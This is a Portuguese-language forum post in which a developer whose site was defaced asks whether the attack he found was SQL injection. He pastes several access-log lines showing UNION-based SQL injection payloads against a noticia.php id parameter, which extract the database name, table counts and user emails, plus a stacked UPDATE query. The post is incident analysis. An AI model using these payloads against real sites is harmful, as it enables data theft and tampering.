[Resolvido] SQL Injection

Bom dia,

A uns dias um dos sites que trabalho sofreu um ataque, foram inseridas diversas fotos de ---ografia em nosso banco da dados.

Até pouco tempo eu estava descartando a possibilidade de ser SQL Injection, pois, as páginas que conferi (o site não foi desenvolvido por mim e eu trabalho aqui a pouco tempo), estavam com a função mysql_real_escape_string().

Em todo caso, peguei o log de acessos e começei a pesquisar por palavras como UPDATE, SELECT e coisas do tipo... e então encontrei essas linhas:

>
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536

noticia.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536

noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(select%20concat(0x7e,0x27,0x7233646D3076335F68766A5F696E6A656374696F6E,0x27,0x7e)%20limit%200,1),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536

noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20concat(0x7e,0x27,Hex(cast(database()%20as%20char)),0x27,0x7e),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536

noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,count(table_name),0x27,0x7e)%20FROM%20`information_schema`.tables%20WHERE%20table_schema=0x706F7274616C),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536

 

noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,Hex(cast(usuarios.usu_email%20as%20char)),0x27,0x7e)%20FROM%20`portal`.usuarios%20LIMIT%202,1)%20,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536

 

noticia.php?id=744;UPDATE%20noticias%20SET%20not_usuario_id=1%20WHERE%20not_usuario_id=3

O nome do site prefiro preservar, apesar dessa página ter sido corrigida e,

como sou um pouco leigo com SQL, gostaria de confirmar, isso é SQL Injection?

Desde já obrigado